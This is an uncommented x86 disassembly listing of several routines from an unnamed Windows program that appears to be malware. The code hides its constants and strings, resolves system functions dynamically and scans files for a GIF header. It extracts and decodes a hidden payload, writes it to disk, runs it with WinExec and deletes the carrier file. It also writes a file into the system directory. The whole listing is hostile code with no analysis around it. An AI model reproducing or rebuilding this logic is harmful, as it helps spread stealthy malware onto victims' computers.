arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
mov esi, [ebp+arg_4]
inc esi
movsx edi, word_44A208
mov eax, esi
test eax, eax
jge short loc_43AC02
add eax, 0FFh
loc_43AC02: ; CODE XREF: sub_43ABE3+18j
sar eax, 8
mov ebx, eax
imul ebx, dword_44A128
lea edi, [edi+ebx+1Ah]
mov [ebp+var_8], edi
mov edi, dword_44A280
add edi, 11h
mov eax, esi
test eax, eax
jge short loc_43AC29
add eax, 0FFh
loc_43AC29: ; CODE XREF: sub_43ABE3+3Fj
sar eax, 8
mov ebx, dword_44A270
add ebx, 0Dh
mov edx, eax
imul edx, ebx
add edi, edx
mov [ebp+var_C], edi
mov edi, dword_44A254
add edi, 18h
mov eax, esi
test eax, eax
jge short loc_43AC53
add eax, 0FFFFh
loc_43AC53: ; CODE XREF: sub_43ABE3+69j
sar eax, 10h
mov ebx, dword_44A138
add ebx, 17h
mov edx, eax
imul edx, ebx
add edi, edx
mov [ebp+var_10], edi
mov eax, esi
mul [ebp+var_8]
mov [ebp+var_1C], eax
and eax, 0FFh
push eax
call sub_43935A
mov ebx, eax
mov [ebp+var_1], bl
mov eax, dword_44A134
add eax, dword_44A220
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_43D28C
mov ebx, eax
mov [ebp+var_11], bl
mov eax, esi
mul [ebp+var_C]
mov [ebp+var_20], eax
and eax, 0FFh
push eax
call sub_43935A
mov ebx, eax
mov [ebp+var_12], bl
mov eax, dword_44A1A0
add eax, 6Eh
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_43D28C
mov ebx, eax
mov [ebp+var_13], bl
mov eax, esi
and eax, 0FFh
push eax
call sub_43935A
mov ebx, eax
mov [ebp+var_14], bl
mov eax, dword_44A1AC
add eax, 2Ah
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_43D28C
mov ebx, eax
mov [ebp+var_15], bl
mov eax, esi
mul [ebp+var_10]
mov [ebp+var_24], eax
and eax, 0FFh
push eax
call sub_43935A
mov ebx, eax
mov [ebp+var_16], bl
mov eax, dword_44A14C
add eax, 40h
movsx edx, word_44A100
add eax, edx
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_43D28C
mov ebx, eax
mov [ebp+var_17], bl
movsx eax, word_44A240
add eax, 41h
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_43935A
add esp, 24h
mov ebx, eax
mov [ebp+var_18], bl
movzx edi, [ebp+var_1]
mov eax, edi
shr eax, 1
mov esi, dword_44A19C
add esi, dword_44A12C
sub esi, 0Ch
mul esi
mov [ebp+var_28], eax
mov esi, eax
cmp esi, edi
jnz short loc_43ADD7
push offset word_44B356
call sub_43C507
movzx edi, [ebp+var_18]
push edi
movzx edi, [ebp+var_17]
push edi
movzx edi, [ebp+var_16]
push edi
movzx edi, [ebp+var_15]
push edi
movzx edi, [ebp+var_14]
push edi
movzx edi, [ebp+var_13]
push edi
movzx edi, [ebp+var_12]
push edi
movzx edi, [ebp+var_11]
push edi
movzx edi, [ebp+var_1]
push edi
push eax
push [ebp+arg_0]
call ds:dword_449634
add esp, 30h
jmp short loc_43AE1B
; ---------------------------------------------------------------------------
loc_43ADD7: ; CODE XREF: sub_43ABE3+1ACj
push offset byte_44B33B
call sub_43C507
movzx edi, [ebp+var_18]
push edi
movzx edi, [ebp+var_17]
push edi
movzx edi, [ebp+var_16]
push edi
movzx edi, [ebp+var_15]
push edi
movzx edi, [ebp+var_14]
push edi
movzx edi, [ebp+var_13]
push edi
movzx edi, [ebp+var_12]
push edi
movzx edi, [ebp+var_11]
push edi
movzx edi, [ebp+var_1]
push edi
push eax
push [ebp+arg_0]
call ds:dword_449634
add esp, 30h
loc_43AE1B: ; CODE XREF: sub_43ABE3+1F2j
pop edi
pop esi
pop ebx
leave
retn
sub_43ABE3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43AE20 proc near ; CODE XREF: sub_43F3B6+15Ep
var_7 = byte ptr -7
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov esi, [ebp+arg_8]
mov eax, ebx
add eax, 2
mov ecx, 3
mov edx, 0AAAAAAABh
mul edx
shr edx, 1
mov [ebp+var_4], edx
mov edi, edx
shl edi, 2
mov edx, [ebp+arg_C]
dec edx
cmp edi, edx
jbe short loc_43AE93
xor eax, eax
jmp loc_43AF42
; ---------------------------------------------------------------------------
loc_43AE58: ; CODE XREF: sub_43AE20+83j
push esi
push [ebp+arg_0]
call sub_43F932
add esp, 8
mov eax, dword_44A268
dec eax
sub ebx, eax
mov eax, dword_44A274
add eax, dword_44A278
add eax, [ebp+arg_0]
mov [ebp+arg_0], eax
movsx eax, word_44A208
movsx edx, word_44A144
add eax, edx
sub eax, 7
lea esi, [esi+eax]
loc_43AE93: ; CODE XREF: sub_43AE20+2Fj
mov eax, dword_44A12C
add eax, dword_44A1A8
sub eax, 7
cmp ebx, eax
jnb short loc_43AE58
movsx eax, word_44A0E8
dec eax
cmp ebx, eax
jbe short loc_43AF22
push 3
movsx eax, word_44A100
movsx edx, word_44A218
add eax, edx
sub eax, 8
push eax
lea eax, [ebp+var_7]
push eax
call ds:dword_448644
push ebx
push [ebp+arg_0]
lea eax, [ebp+var_7]
push eax
call ds:dword_448638
push esi
lea eax, [ebp+var_7]
push eax
call sub_43F932
add esp, 20h
mov eax, dword_44A17C
movsx edx, word_44A27C
add eax, edx
sub eax, 6
mov byte ptr [esi+eax], 3Dh
mov eax, dword_44A12C
sub eax, 7
cmp ebx, eax
jnz short loc_43AF17
mov eax, dword_44A274
inc eax
mov byte ptr [esi+eax], 3Dh
loc_43AF17: ; CODE XREF: sub_43AE20+EBj
mov eax, dword_44A12C
sub eax, 4
lea esi, [esi+eax]
loc_43AF22: ; CODE XREF: sub_43AE20+8Fj
mov eax, dword_44A238
movsx edx, word_44A0A4
add eax, edx
sub eax, 6
mov edx, dword_44A244
sub edx, 4
mov [esi+eax], dl
xor eax, eax
inc eax
loc_43AF42: ; CODE XREF: sub_43AE20+33j
pop edi
pop esi
pop ebx
leave
retn
sub_43AE20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43AF47 proc near ; CODE XREF: sub_43BA75+22Ep
; sub_43BA75+240p
var_61DA0 = dword ptr -61DA0h
var_61D9C = dword ptr -61D9Ch
var_61D98 = byte ptr -61D98h
var_61C99 = byte ptr -61C99h
var_61C98 = dword ptr -61C98h
var_61C91 = byte ptr -61C91h
var_30F51 = byte ptr -30F51h
var_30F50 = dword ptr -30F50h
var_30F4B = byte ptr -30F4Bh
var_30E4C = dword ptr -30E4Ch
var_30E48 = dword ptr -30E48h
var_30E44 = dword ptr -30E44h
var_30E3F = byte ptr -30E3Fh
var_30E3E = byte ptr -30E3Eh
var_30E3D = byte ptr -30E3Dh
var_30E3C = byte ptr -30E3Ch
var_30E3B = byte ptr -30E3Bh
var_30E3A = byte ptr -30E3Ah
var_30E15 = byte ptr -30E15h
var_30E14 = byte ptr -30E14h
var_30DC4 = byte ptr -30DC4h
var_30DBE = byte ptr -30DBEh
var_30DBD = byte ptr -30DBDh
var_30DBC = byte ptr -30DBCh
var_30D4E = byte ptr -30D4Eh
var_30D46 = byte ptr -30D46h
var_30D43 = byte ptr -30D43h
var_30D40 = byte ptr -30D40h
var_30D3F = byte ptr -30D3Fh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 61DA0h
call sub_442F6C
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
and [ebp+var_30F50], 0
push 0
mov eax, dword_44A244
movsx edx, word_44A0FC
add eax, edx
sub eax, 0Ah
push eax
push 3
push 0
mov eax, dword_44A094
sub eax, 6
push eax
push 80000000h
push [ebp+arg_0]
call ds:dword_449788 ; CreateFileA
mov [ebp+var_30E48], eax
cmp eax, 0FFFFFFFFh
jz loc_43B3C7
push 0
lea eax, [ebp+var_30E4C]
push eax
mov eax, dword_44A108
add eax, 7Eh
add eax, dword_44A0C8
push eax
lea eax, [ebp+var_30E3F]
push eax
push [ebp+var_30E48]
call ds:dword_444028 ; ReadFile
mov [ebp+var_30E44], eax
movsx eax, word_44A16C
dec eax
cmp [ebp+var_30E44], eax
jz loc_43B3A9
cmp [ebp+var_30E3F], 47h
jnz short loc_43B01A
cmp [ebp+var_30E3E], 49h
jnz short loc_43B01A
cmp [ebp+var_30E3D], 46h
jnz short loc_43B01A
cmp [ebp+var_30E3C], 38h
jnz short loc_43B01A
cmp [ebp+var_30E3B], 39h
jnz short loc_43B01A
cmp [ebp+var_30E3A], 61h
jz short loc_43B01F
loc_43B01A: ; CODE XREF: sub_43AF47+A4j
; sub_43AF47+ADj ...
jmp loc_43B3A9
; ---------------------------------------------------------------------------
loc_43B01F: ; CODE XREF: sub_43AF47+D1j
movzx eax, [ebp+var_30E15]
movsx edx, word_44A1DC
mov ecx, dword_44A164
lea edx, [edx+ecx+36h]
cmp eax, edx
jnz short loc_43B04D
cmp [ebp+var_30DBE], 3Dh
jnz short loc_43B04D
cmp [ebp+var_30DBD], 3Dh
jz short loc_43B052
loc_43B04D: ; CODE XREF: sub_43AF47+F2j
; sub_43AF47+FBj
jmp loc_43B3A9
; ---------------------------------------------------------------------------
loc_43B052: ; CODE XREF: sub_43AF47+104j
or ebx, ebx
jnz short loc_43B081
mov al, [ebp+var_30DBC]
mov [ebp+var_30F51], al
call sub_440DA6
mov edx, eax
mov [ebp+var_61C99], dl
mov al, [ebp+var_61C99]
cmp al, [ebp+var_30F51]
jz loc_43B3A9
loc_43B081: ; CODE XREF: sub_43AF47+10Dj
push 0
lea eax, [ebp+var_30E4C]
push eax
push 30D40h
lea eax, [ebp+var_61C91]
push eax
push [ebp+var_30E48]
call ds:dword_444028 ; ReadFile
mov [ebp+var_30E44], eax
mov eax, dword_44A094
sub eax, 6
cmp [ebp+var_30E44], eax
jz loc_43B3A9
mov eax, [ebp+var_30E4C]
mov edx, dword_44A110
add edx, dword_44A268
sub edx, 9
mov [ebp+eax+var_61C91], dl
push 30D40h
lea eax, [ebp+var_30D40]
push eax
lea eax, [ebp+var_61C91]
push eax
call sub_438348
add esp, 0Ch
mov esi, eax
mov eax, dword_44A184
mov edi, eax
add edi, dword_44A210
sub edi, 3
jmp short loc_43B14C
; ---------------------------------------------------------------------------
loc_43B107: ; CODE XREF: sub_43AF47+207j
or ebx, ebx
jz short loc_43B11E
movzx eax, [ebp+edi+var_30D40]
sub eax, edi
mov [ebp+edi+var_30D40], al
jmp short loc_43B14B
; ---------------------------------------------------------------------------
loc_43B11E: ; CODE XREF: sub_43AF47+1C2j
movzx eax, [ebp+edi+var_30D40]
mov [ebp+var_61D9C], eax
mov eax, edi
mul edi
mov [ebp+var_61DA0], eax
mov eax, [ebp+var_61D9C]
mov edx, [ebp+var_61DA0]
sub eax, edx
mov [ebp+edi+var_30D40], al
loc_43B14B: ; CODE XREF: sub_43AF47+1D5j
inc edi
loc_43B14C: ; CODE XREF: sub_43AF47+1BEj
cmp edi, esi
jb short loc_43B107
or ebx, ebx
jz short loc_43B16D
mov eax, dword_44A254
sub eax, 8
mov edx, esi
sub edx, eax
mov eax, dword_44A274
dec eax
mov [ebp+edx+var_30D40], al
loc_43B16D: ; CODE XREF: sub_43AF47+20Bj
movsx eax, word_44A104
mov edx, dword_44A0A0
movsx ecx, word_44A0E8
add edx, ecx
sub edx, 5
mov [ebp+eax+var_30DC4], dl
push 0FFh
lea eax, [ebp+var_61D98]
push eax
lea eax, [ebp+var_30E14]
push eax
call sub_438348
lea eax, [ebp+var_61D98]
push eax
push esi
lea eax, [ebp+var_30D40]
push eax
call sub_43C2C0
add esp, 18h
mov [ebp+var_30E44], eax
mov eax, dword_44A09C
sub eax, 5
cmp [ebp+var_30E44], eax
jnz loc_43B3A9
mov [ebp+var_30F50], 1
or ebx, ebx
jz loc_43B306
mov eax, dword_44A25C
add eax, dword_44A19C
cmp [ebp+eax+var_30D4E], 64h
jnz short loc_43B276
movzx eax, [ebp+var_30D3F]
movsx edx, word_44A1FC
add edx, 1Bh
sub eax, edx
mov byte ptr [ebp+var_61D9C+3], al
movzx eax, byte ptr [ebp+var_61D9C+3]
push eax
push 0
call sub_440511
mov eax, dword_44A25C
sub eax, 8
mov ds:dword_446620, eax
mov eax, dword_44A0AC
dec eax
mov dword_44A350, eax
mov eax, dword_44A148
movsx edx, word_44A0C0
sub edx, 2
mov [ebp+eax+var_30D40], dl
movsx eax, word_44A16C
movsx edx, word_44A0D0
add eax, edx
sub eax, 7
push eax
lea eax, [ebp+var_30D40]
push eax
call sub_43D8DE
add esp, 10h
loc_43B276: ; CODE XREF: sub_43AF47+2B4j
mov eax, dword_44A0A8
cmp [ebp+eax+var_30D46], 67h
jnz loc_43B3A9
movsx eax, word_44A144
movsx edx, word_44A0D0
add eax, edx
mov edx, dword_44A128
sub edx, 9
mov [ebp+eax+var_30D43], dl
lea eax, [ebp+var_30D3F]
push eax
call ds:dword_444054
mov [ebp+var_61D9C], eax
push eax
push offset dword_449670
call sub_43ABE3
mov eax, dword_44A0F0
dec eax
mov ds:dword_446620, eax
movsx eax, word_44A0FC
sub eax, 6
mov dword_44A350, eax
movsx eax, word_44A144
add eax, dword_44A204
sub eax, 6
push eax
lea eax, [ebp+var_30D40]
push eax
call sub_43D8DE
add esp, 14h
jmp loc_43B3A9
; ---------------------------------------------------------------------------
loc_43B306: ; CODE XREF: sub_43AF47+29Bj
movsx eax, word_44A098
add eax, 5
push eax
lea eax, [ebp+var_30F4B]
push eax
call sub_43F353
push offset byte_44B333
call sub_43C507
push eax
lea edx, [ebp+var_30F4B]
push edx
call ds:dword_444020
push 0
push 80h
push 2
push 0
mov eax, dword_44A090
sub eax, 3
push eax
push 40000000h
lea eax, [ebp+var_30F4B]
push eax
call ds:dword_449788 ; CreateFileA
mov [ebp+var_61C98], eax
push 0
lea eax, [ebp+var_30E4C]
push eax
push esi
lea eax, [ebp+var_30D40]
push eax
push [ebp+var_61C98]
call ds:dword_449B8C ; WriteFile
push [ebp+var_61C98]
call ds:dword_448654 ; CloseHandle
push 5
lea eax, [ebp+var_30F4B]
push eax
call ds:dword_4460E0 ; WinExec
movzx eax, [ebp+var_30F51]
push eax
call sub_43B982
add esp, 18h
loc_43B3A9: ; CODE XREF: sub_43AF47+97j
; sub_43AF47:loc_43B01Aj ...
push [ebp+var_30E48]
call ds:dword_448654 ; CloseHandle
cmp [ebp+var_30F50], 0
jz short loc_43B3C7
push [ebp+arg_0]
call ds:dword_444008 ; DeleteFileA
loc_43B3C7: ; CODE XREF: sub_43AF47+52j
; sub_43AF47+475j
pop edi
pop esi
pop ebx
leave
retn
sub_43AF47 endp
; =============== S U B R O U T I N E =======================================
sub_43B3CC proc near ; CODE XREF: sub_43EC0A+16p
push edi
push offset word_44B326
call sub_43C507
pop ecx
push eax
call ds:dword_4465E8 ; GetModuleHandleA
mov dword_44A2A4, eax
test eax, eax
jnz short loc_43B3FF
push offset byte_44B319
call sub_43C507
pop ecx
push eax
call ds:dword_447244 ; LoadLibraryA
mov dword_44A2A4, eax
loc_43B3FF: ; CODE XREF: sub_43B3CC+1Aj
push offset word_44B306
call sub_43C507
push eax
push dword_44A2A4
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449BB4, eax
push offset word_44B2F2
call sub_43C507
push eax
push dword_44A2A4
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_446624, eax
push offset word_44B2E2
call sub_43C507
push eax
push dword_44A2A4
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_4460D0, eax
push offset dword_44B2D0
call sub_43C507
push eax
push dword_44A2A4
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_4460D8, eax
push offset byte_44B2C1
call sub_43C507
add esp, 14h
push eax
push dword_44A2A4
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449648, eax
pop edi
retn
sub_43B3CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B490 proc near ; DATA XREF: sub_43963B+Bo
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
pusha
mov esi, [ebp+arg_8]
mov eax, offset sub_43BA5C
mov [esi+0B8h], eax
mov eax, [ebp+arg_4]
mov [esi+0C4h], eax
popa
mov esp, ebp
pop ebp
xor eax, eax
retn
sub_43B490 endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_43B4B3 proc near ; CODE XREF: sub_43EC0A+11p
push edi
push offset dword_44B2B4
call sub_43C507
pop ecx
push eax
call ds:dword_4465E8 ; GetModuleHandleA
mov dword_44A2A0, eax
test eax, eax
jnz short loc_43B4E6
push offset byte_44B2A7
call sub_43C507
pop ecx
push eax
call ds:dword_447244 ; LoadLibraryA
mov dword_44A2A0, eax
loc_43B4E6: ; CODE XREF: sub_43B4B3+1Aj
push offset dword_44B298
call sub_43C507
push eax
push dword_44A2A0
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_447250, eax
push offset word_44B286
call sub_43C507
add esp, 8
push eax
push dword_44A2A0
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_445120, eax
pop edi
retn
sub_43B4B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B523 proc near ; CODE XREF: sub_44006A+142p
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1000h
call sub_442F6C
push ebx
push esi
push edi
mov eax, dword_44A1F4
sub eax, 4
push eax
lea eax, [ebp+var_FFF]
push eax
call sub_440511
add esp, 8
movsx edi, word_44A100
sub edi, 3
jmp short loc_43B571
; ---------------------------------------------------------------------------
loc_43B557: ; CODE XREF: sub_43B523+54j
cmp [ebp+edi+var_FFF], 23h
jnz short loc_43B570
mov eax, dword_44A288
sub eax, 6
mov [ebp+edi+var_FFF], al
loc_43B570: ; CODE XREF: sub_43B523+3Cj
inc edi
loc_43B571: ; CODE XREF: sub_43B523+32j
cmp edi, 0FFFh
jb short loc_43B557
lea esi, [ebp+var_FFF]
loc_43B57F: ; CODE XREF: sub_43B523+ECj
push offset word_44B282
call sub_43C507
push offset dword_445020
mov ebx, dword_44A134
movsx edx, word_44A0B0
add ebx, edx
sub ebx, 0Fh
push ebx
mov ebx, dword_44A20C
movsx edx, word_44A250
add ebx, edx
sub ebx, 7
push ebx
push eax
mov ebx, dword_44A224
sub ebx, 5
push ebx
push 0
push esi
push [ebp+arg_0]
mov ebx, dword_44A1D4
add ebx, dword_44A1C4
sub ebx, 5
and ebx, 0FFh
push ebx
call sub_43D058
add esp, 28h
mov ecx, esi
or eax, 0FFFFFFFFh
loc_43B5E8: ; CODE XREF: sub_43B523+CAj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43B5E8
movsx edx, word_44A1E0
sub edx, 2
mov ebx, eax
add ebx, esi
mov esi, edx
add esi, ebx
movsx eax, byte ptr [esi]
mov edx, dword_44A25C
sub edx, 8
cmp eax, edx
jnz loc_43B57F
pop edi
pop esi
pop ebx
leave
retn
sub_43B523 endp
; =============== S U B R O U T I N E =======================================
sub_43B61A proc near ; DATA XREF: .data:0044A3A8o
mov eax, 80004001h
retn 10h
sub_43B61A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B622 proc near ; CODE XREF: sub_44006A+1A1p
; sub_44006A+1C2p
var_4F = byte ptr -4Fh
var_1D = byte ptr -1Dh
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 50h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
call ds:dword_449770 ; GetTickCount
mov [ebp+var_8], eax
mov esi, dword_44A140
sub esi, 9
jmp short loc_43B689
; ---------------------------------------------------------------------------
loc_43B642: ; CODE XREF: sub_43B622+79j
cmp ds:dword_445130[esi*4], 0
jz short loc_43B688
mov edx, ds:dword_448660[esi*4]
mov ecx, dword_44A0C8
add ecx, 0EA5Fh
movsx eax, word_44A0E8
add ecx, eax
mov eax, dword_44A0A8
add eax, dword_44A1E8
sub eax, 2
imul ecx, eax
add edx, ecx
cmp edx, [ebp+var_8]
jnb short loc_43B688
and ds:dword_445130[esi*4], 0
loc_43B688: ; CODE XREF: sub_43B622+28j
; sub_43B622+5Cj
inc esi
loc_43B689: ; CODE XREF: sub_43B622+1Ej
mov eax, dword_44A0F0
add eax, 3E4h
add eax, dword_44A13C
cmp esi, eax
jb short loc_43B642
loc_43B69D: ; CODE XREF: sub_43B622+99j
; sub_43B622+281j
mov eax, [ebx]
mov [ebp+var_14], eax
lea ebx, [ebx+eax]
mov eax, ebx
sub eax, [ebp+arg_0]
cmp eax, [ebp+arg_4]
jnb loc_43B8A9
mov eax, dword_44A244
cmp [ebp+var_14], eax
ja short loc_43B69D
mov ecx, ebx
or eax, 0FFFFFFFFh
loc_43B6C2: ; CODE XREF: sub_43B622+A5j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43B6C2
mov [ebp+var_10], eax
mov eax, ebx
sub eax, [ebp+arg_0]
movsx edx, word_44A264
add edx, dword_44A204
sub edx, 6
sub eax, edx
mov [ebp+var_C], eax
mov [ebp+var_1], 44h
mov eax, dword_44A204
sub eax, 1
cmp byte ptr [ebx+eax], 2Ah
jnz short loc_43B6FC
mov [ebp+var_1], 43h
loc_43B6FC: ; CODE XREF: sub_43B622+D4j
mov edi, dword_44A0EC
sub edi, 4
jmp short loc_43B72E
; ---------------------------------------------------------------------------
loc_43B707: ; CODE XREF: sub_43B622+121j
cmp ds:dword_445130[edi*4], 0
jz short loc_43B72D
mov edx, [ebp+var_C]
cmp ds:dword_444060[edi*4], edx
jnz short loc_43B72D
mov dl, ds:byte_446200[edi]
cmp dl, [ebp+var_1]
jz loc_43B888
loc_43B72D: ; CODE XREF: sub_43B622+EDj
; sub_43B622+F9j
inc edi
loc_43B72E: ; CODE XREF: sub_43B622+E3j
mov eax, dword_44A194
add eax, 3D9h
movsx edx, word_44A0FC
add eax, edx
cmp edi, eax
jb short loc_43B707
mov eax, dword_44A168
add eax, 3BEh
movsx edx, word_44A260
add eax, edx
cmp [ebp+var_10], eax
jbe loc_43B831
mov eax, dword_44A0F8
add eax, 7
movsx edx, word_44A16C
add eax, edx
push eax
lea eax, [ebp+var_4F]
push eax
call sub_43F353
add esp, 8
mov eax, dword_44A0AC
add eax, 3BFh
mov [ebp+var_18], eax
movsx eax, word_44A0FC
add eax, dword_44A1F8
sub eax, 9
mov [ebp+var_1C], eax
loc_43B79F: ; CODE XREF: sub_43B622+20Aj
mov eax, [ebp+var_18]
mov al, [ebx+eax]
mov [ebp+var_1D], al
mov eax, [ebp+var_18]
mov edx, dword_44A114
movsx ecx, word_44A1B4
add edx, ecx
sub edx, 0Ch
mov [ebx+eax], dl
push offset dword_445020
push [ebp+var_10]
push [ebp+var_1C]
lea eax, [ebp+var_4F]
push eax
mov eax, [ebp+arg_C]
push dword ptr [eax]
push [ebp+arg_0]
push ebx
push [ebp+arg_8]
mov eax, dword_44A1EC
add eax, dword_44A0A0
sub eax, 0Ch
and eax, 0FFh
push eax
call sub_43D058
add esp, 24h
mov eax, [ebp+var_18]
mov dl, [ebp+var_1D]
mov [ebx+eax], dl
mov [ebp+var_1C], eax
mov eax, dword_44A1B0
add eax, 3B6h
movsx edx, word_44A118
add eax, edx
add [ebp+var_18], eax
mov eax, [ebp+var_10]
cmp [ebp+var_18], eax
jbe short loc_43B824
mov [ebp+var_18], eax
loc_43B824: ; CODE XREF: sub_43B622+1FDj
mov eax, [ebp+var_10]
cmp [ebp+var_1C], eax
jnb short loc_43B883
jmp loc_43B79F
; ---------------------------------------------------------------------------
loc_43B831: ; CODE XREF: sub_43B622+139j
push offset byte_44B27D
call sub_43C507
push offset dword_445020
push [ebp+var_10]
movsx edx, word_44A100
add edx, dword_44A1F8
sub edx, 6
push edx
push eax
mov edx, [ebp+arg_C]
push dword ptr [edx]
push [ebp+arg_0]
push ebx
push [ebp+arg_8]
movsx edx, word_44A0FC
movsx ecx, word_44A0D0
add edx, ecx
sub edx, 0Dh
and edx, 0FFh
push edx
call sub_43D058
add esp, 28h
loc_43B883: ; CODE XREF: sub_43B622+208j
mov eax, [ebp+arg_C]
inc dword ptr [eax]
loc_43B888: ; CODE XREF: sub_43B622+105j
mov eax, [ebp+var_10]
lea ebx, [ebx+eax]
inc ebx
mov eax, [ebp+arg_C]
mov edx, dword_44A1F8
add edx, 0Bh
add edx, dword_44A094
cmp [eax], edx
jbe loc_43B69D
loc_43B8A9: ; CODE XREF: sub_43B622+8Bj
push offset off_44B279
call sub_43C507
push offset dword_445020
movsx edx, word_44A1F0
movsx ecx, word_44A27C
add edx, ecx
sub edx, 7
push edx
movsx edx, word_44A170
sub edx, 2
push edx
push eax
mov edx, dword_44A140
add edx, dword_44A244
sub edx, 0Dh
push edx
push 0
push 0
push [ebp+arg_8]
mov edx, dword_44A1AC
add edx, dword_44A210
sub edx, 5
and edx, 0FFh
push edx
call sub_43D058
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_43B622 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B912 proc near ; DATA XREF: sub_439992+26o
var_1FFF = byte ptr -1FFFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 2000h
call sub_442F6C
push esi
push edi
push 1FFFh
lea eax, [ebp+var_1FFF]
push eax
push [ebp+arg_0]
call ds:dword_449BA4 ; GetWindowTextA
push offset dword_44B264
call sub_43C507
mov edi, dword_44A224
add edi, dword_44A134
sub edi, 0Ch
push edi
push eax
lea edi, [ebp+var_1FFF]
push edi
call sub_4384B5
add esp, 10h
mov esi, dword_44A198
add esi, 0FFFDh
cmp eax, esi
jz short loc_43B979
push [ebp+arg_0]
call sub_4393B1
pop ecx
loc_43B979: ; CODE XREF: sub_43B912+5Cj
xor eax, eax
inc eax
pop edi
pop esi
leave
retn 8
sub_43B912 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B982 proc near ; CODE XREF: sub_43AF47+45Ap
; DATA XREF: sub_439B7B+D7o
var_270 = byte ptr -270h
var_26C = byte ptr -26Ch
var_267 = byte ptr -267h
var_168 = byte ptr -168h
var_104 = byte ptr -104h
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 26Ch
push esi
push edi
push 104h
lea eax, [ebp+var_104]
push eax
call ds:dword_446600 ; GetSystemDirectoryA
lea eax, [ebp+var_168]
push eax
call sub_43F85A
push offset byte_44B25F
call sub_43C507
push eax
lea esi, [ebp+var_104]
push esi
call ds:dword_444020
lea eax, [ebp+var_168]
push eax
lea eax, [ebp+var_104]
push eax
call ds:dword_444020
push offset byte_44B257
call sub_43C507
push eax
lea esi, [ebp+var_104]
push esi
call ds:dword_444020
add esp, 24h
movsx eax, word_44A124
add eax, dword_44A1A0
mov dl, [ebp+arg_0]
mov [ebp+eax+var_270], dl
push 0
push 80h
push 4
push 0
movsx eax, word_44A170
sub eax, 2
push eax
push 40000000h
lea eax, [ebp+var_104]
push eax
call ds:dword_449788 ; CreateFileA
mov edi, eax
push 0
lea eax, [ebp+var_26C]
push eax
mov eax, dword_44A248
inc eax
push eax
lea eax, [ebp+var_267]
push eax
push edi
call ds:dword_449B8C ; WriteFile
push edi
call ds:dword_448654 ; CloseHandle
pop edi
pop esi
leave
retn
sub_43B982 endp
; =============== S U B R O U T I N E =======================================
sub_43BA5C proc near ; DATA XREF: sub_43B490+7o
mov eax, dword_44A1E4
movsx edx, word_44A1E0
add eax, edx
sub eax, 6
push eax
call ds:dword_449664 ; ExitThread
retn
sub_43BA5C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43BA75 proc near ; CODE XREF: sub_43BA75+299p
; sub_43BA75+307p ...
var_268 = byte ptr -268h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = word ptr -258h
var_256 = word ptr -256h
var_252 = word ptr -252h
var_250 = word ptr -250h
var_24E = word ptr -24Eh
var_248 = dword ptr -248h
var_242 = byte ptr -242h
var_13E = byte ptr -13Eh
var_112 = byte ptr -112h
arg_0 = dword ptr 8
arg_8 = byte ptr 10h
arg_18 = byte ptr 20h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
sub esp, 268h
push ebx
push esi
push edi
push 0
call ds:dword_449630
xor ebx, ebx
inc ebx
push offset byte_44B24F
call sub_43C507
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call ds:dword_449634
add esp, 14h
lea eax, [ebp+var_13E]
push eax
lea eax, [ebp+var_242]
push eax
call ds:dword_447258 ; FindFirstFileA
mov [ebp+var_248], eax
mov eax, dword_44A128
movsx edx, word_44A180
add eax, edx
sub eax, 0Ch
neg eax
cmp [ebp+var_248], eax
jnz loc_43BCC2
movsx eax, word_44A1B4
sub eax, 4
cmp [ebp+arg_20], eax
ja loc_43BD8B
movsx eax, word_44A170
mov edx, dword_44A268
lea eax, [eax+edx+3FAh]
cmp [ebp+arg_24], eax
jnb short loc_43BB2B
